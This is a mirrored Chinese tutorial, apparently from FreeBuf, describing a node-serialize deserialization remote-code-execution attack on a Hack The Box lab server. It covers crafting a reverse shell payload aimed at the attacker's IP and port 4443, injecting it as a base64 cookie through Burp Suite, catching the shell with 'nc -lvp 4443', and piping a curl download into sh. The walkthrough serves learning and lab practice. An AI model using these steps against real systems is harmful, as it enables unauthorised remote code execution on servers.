46

技术讨论 | 记一次Node.Js反序列化攻击测试

 5 years ago
source link: http://www.freebuf.com/news/180882.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

YrqyMjA.jpg!web

严正声明:本文仅限于技术讨论,严禁用于其他用途。

Node.js是一个Javascript运行时环境。它封装了GoogleV8引擎,该引擎可以高效地执行Javascript。另外,Node.js还进行了一些优化并提供了替代API,这使得Google V8引擎能够在非浏览器环境中更有效地运行。

但是Node.js的序列化过程中仍然存在远程代码执行漏洞。具体来说,是Node.js 的 node-serialize 库存在漏洞。通过传输JavaScript立即执行函数表达式(IIFE),攻击者可以利用恶意代码(不受信任的数据)在反序列化中远程执行任意代码。

漏洞演示环境

靶机: Hackthebox 节点服务器(10.10.10.85:3000)

攻击机: Kali Linux

所需工具/包: nodejsnpmnodejs toolkitnode-serialize

关于漏洞(反序列化攻击)

不受信任的数据被传递到unserialize()函数,使得我们可以利用JavaScript对象的立即执行函数表达式(也就是IIFE)来执行任意代码。

第一步,通过apt-get命令“apt-get install nodejs”安装nodejs包,如下图所示:

rENfMj7.jpg!web

第二步,使用curl命令“curl -L https://www.npmjs.com/install.sh | sh”安装npm实用程序(用于安装node-serialize包),如下图所示:

rUF3miF.jpg!web

在安装和配置好了nodejs和npm之后,我们就可以通过npm来安装node-serialize包了,键入命令“npm install node-serialize”,如下图所示:

7nmiquQ.jpg!web

另一方面,我们已经与HacktheBox服务器建立了连接,其存在漏洞的节点服务器的IP为10.10.10.85:3000(节点服务器上运行着nodejs express 框架,可以通过nmap来确认)。

Qvyqi22.jpg!web

第一步,我们需要在最受欢迎的代理拦截工具之一(即Burp Suite)的帮助下捕获上述易受攻击的IP所发出的GET请求,如下图所示:

6RbYr2Z.jpg!web

第二步,选择cookie值并将其发送到Decoder模块进行解密。

3IJ7BbU.jpg!web

这个易受攻击的Web应用程序的漏洞在于,它从HTTP请求的cookie中读取profile的值,执行base64解码后传递给unserialize()函数。由于cookie是不可信的输入,攻击者可以通过精心构建的恶意cookie值来利用这个漏洞。

eEjaYvJ.jpg!web

第三步,我们需要下载由 Ajin  Abraham 开发的 nodejs securitytoolkit ,他是最受欢迎的移动安全专家之一。

要安装Nodejs Security Toolkit,需要在终端中键入命令“git clone https://github.com/ajinabraham/Node.Js-Security-Course.git ”。

RnYvUr3.jpg!web

导航到下载的文件夹,并执行以下命令来创建反向shell payload,这个payload会把JavaScript代码当成字符串来执行。

首先,我们需要通过键入“ ifconfig ”来找到自己的IP地址 ,然后执行命令“python nodejsshell.py 10.10.14.145 4443”。

7VBzE3A.jpg!web

下图就是最终的反向shell payload:

auQRbaE.jpg!web

现在,让我们使用下面的JavaScript代码来生成序列化的payload。

var y = { 
rce : function() {} 
} 
var serialize = require(‘node-serialize’); 
console.log(“Serialized: \n” + serialize.serialize(y));

muMRR3A.jpg!web

将上面生成的payload添加到{eval(String.from ……… })中,如下图所示:

faAne2m.jpg!web

将文件另存为exploit.js并使用node命令“node exploit.js”执行,将生成最终序列化的payload,如下图所示:

3I3QBrf.jpg!web

现在回到Burp Suite并导航到Decoder模块,将上图中的代码粘贴到Textarea中解码成字符串。解码之前,在函数体后面加上 IIFE圆括号 ():

在这里,我们需要对字符串进行base64编码,然后在Cookie标头值中使用经编码的payload向web服务器发出请求。

R7jMFnE.jpg!web

现在向10.10.10.85:3000发出请求,我们需要向Repeater 模块发出相同的请求。

Mfq6Njj.jpg!web

在Repeater模块中,我们需要将cookie值替换为我们在上面生成的base64编码值,然后单击“GO”按钮。

fuUBra2.jpg!web

同时,使用命令“nc -lvp 4443”确保netcat服务正在监听相同的端口,即4443(反向shell payload的端口)。

eU7JJzF.jpg!web

一旦你点击了“GO”按钮,服务器就将接收到请求,显示“200 OK”响应码以及一条错误消息“An error occurred…invalid username type”。在netcat终端中,你会看到你已经与服务器建立了连接,状态为“Connected”。如此一来,你就可以执行任意代码了。

AriArmi.jpg!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK